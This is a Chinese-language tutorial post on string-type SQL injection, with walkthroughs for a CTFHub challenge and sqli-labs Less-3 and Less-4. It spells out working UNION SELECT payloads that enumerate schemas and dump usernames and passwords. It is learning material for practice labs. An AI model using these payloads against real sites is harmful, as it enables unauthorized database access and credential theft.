请勿截屏传播

字符型

字符型注入=注入点是字符串(被单/双引号包裹) 后台SQL一般为: SELECT * FROM users WHERE username = '用户输入' 你输入的内容会被''包起来,要注入必须先闭合前面的单引号

1.什么是字符型

字符型注入=注入点是字符串(被单/双引号包裹) 后台SQL一般为: SELECT * FROM users WHERE username = '用户输入' 你输入的内容会被''包起来,要注入必须先闭合前面的单引号

2.怎么判断是否为字符型

(1)输入?id=1as’ 如果无报错,数字型 如果有报错,字符型 (2)?id=1and1=1 和?id=1and1=2 and1=1,为真,显示正常页面;and1=2为假,报错。为数字型。 两个都显示正常页面,为字符型。 (3)加减 2-1 等于1,数字型;不等于1,字符型。

3.解决步骤

1.寻找注入点

2.判断闭合方式

1.单引号闭合 2.双引号闭合 3.反引号闭合

3.判断列数

1' group by 2/3/...#

4.查询显示位

id=-1' union select 1,2,...#

5.查数据库名

-1' union select 11,database()#

6.查数据表名

-1' union select 1group_concat(table-name)from information_schema.tables where table_schema='库名'#

7.查找内容

-1' union select 1,group_concat(表名)from 库名.表名#

4.ctfhup(字符型注入)

我们输入一个1试试 我们发现 1 被 ' '包裹,可以猜测是单引号注入,接下来我们验证?id=1 as' 发现报错了,所以为字符型注入。我们查列数?id=1' group by 2/3 #(在URL栏里必须输入%23,这是#的url编码) 所以得出我们的列数为2,然后我们查找回显位输入id=-1' union select 1,2 # 查找数据库名,输入-1' union select 1,database()# 我们得到sqli的库,然后查表名-1' union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'# 我们得到flag的表名,最后提取数据-1' union select 1,group_concat(flag)from sqli.flag#

5.sqli-labs Less-4(字符型注入:双引号和括号)

我们先判断是什么注入,输入?id=1/2-1 两次的页面不同,说明是字符型注入,接下来我们查看是什么类型的字符型注入,输入?id=1'/" 说明是“类型的,接下来我们要查看列数?id=1" group by 1/2/3 %23 1、判断注入点 首先,输入?id=1 --+,看看正常的回显状态 接着输入?id=1' --+,结果还是正常回显,说明这里不存在单引号问题 试试双引号,这里爆出了sql语句错误,根据错误信息,还有括号闭合问题 输入?id=1") and 1=1 --+,结果回显正常 输入?id=1") and 1=2 --+,结果没有回显出来,也没有爆出错误,说明这里存在双引号和括号闭合问题的sql注入 2、判断当前表的字段数 ?id=1") order by 3 --+ ,回显正常 ?id=1") order by 4 --+ 报错,说明当前表的字段数只有3个 3、判断数据的回显位置 ?id=1") and 1=2 union select 1,2,3 --+(?id=-1") union select 1,2, 3 --+两者的效果相同) 4、爆库名 ?id=1") and 1=2 union select 1,2,database() --+ 5、爆表名 /?id=1") and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ 6、爆字段名 ?id=1") and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+ 7、爆值 ?id=1") and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 0,1 --+ 最后得到我们想要的数据

6.sqli-labs Less-3(单引号型)

探测注入点

  1. 访问目标页面 :假设 URL 为 http://localhost/sqli-labs/Less-3/?id=1 ,页面正常显示用户信息。
  2. 测试单引号 :输入 http://localhost/sqli-labs/Less-3/?id=1' ,页面返回 SQL 语法错误(提示 You have an error in your SQL syntax ),说明单引号被解析,存在注入点。
  3. 测试括号 :观察错误信息,若提示 right syntax to use near ') LIMIT 0,1' at line 1 ,说明 SQL 语句中存在括号,需要闭合括号。 步骤2:构造永真条件 输入 http://localhost/sqli-labs/Less-3/?id=1') OR 1=1 --+ ,页面返回所有用户信息(说明注入成功)。 步骤3:查看列数?id=1') order by 3/4 %23 步骤4:爆库名 使用 UNION SELECT 联合查询获取数据库名:
text
http://localhost/sqli-labs/Less-3/?
id=-1') UNION SELECT 1,database(),3 
--+

返回结果: security (当前数据库名)。 步骤5:爆表名 查询 security 数据库中的表:

text
http://localhost/sqli-labs/Less-3/?
id=-1') UNION SELECT 1,group_concat
(table_name),3 FROM 
information_schema.tables WHERE 
table_schema='security' -- 

返回结果: emails,referers,uagents,users (表名)。 步骤6:爆字段名 查询 users 表中的字段:

text
http://localhost/sqli-labs/Less-3/?
id=-1') UNION SELECT 1,group_concat
(column_name),3 FROM 
information_schema.columns WHERE 
table_schema='security' AND 
table_name='users' -- 

返回结果: id,username,password (字段名)。 步骤7:获取数据 查询 users 表中的用户名和密码:

text
http://localhost/sqli-labs/Less-3/?
id=-1') UNION SELECT 1,group_concat
(username,0x3a,password),3 FROM 
users -- 

返回结果: Dumb:Dumb,Angelina:I-kill-you 等(用户数据)

数字型
文件上传漏洞原理

评论区

评论加载中...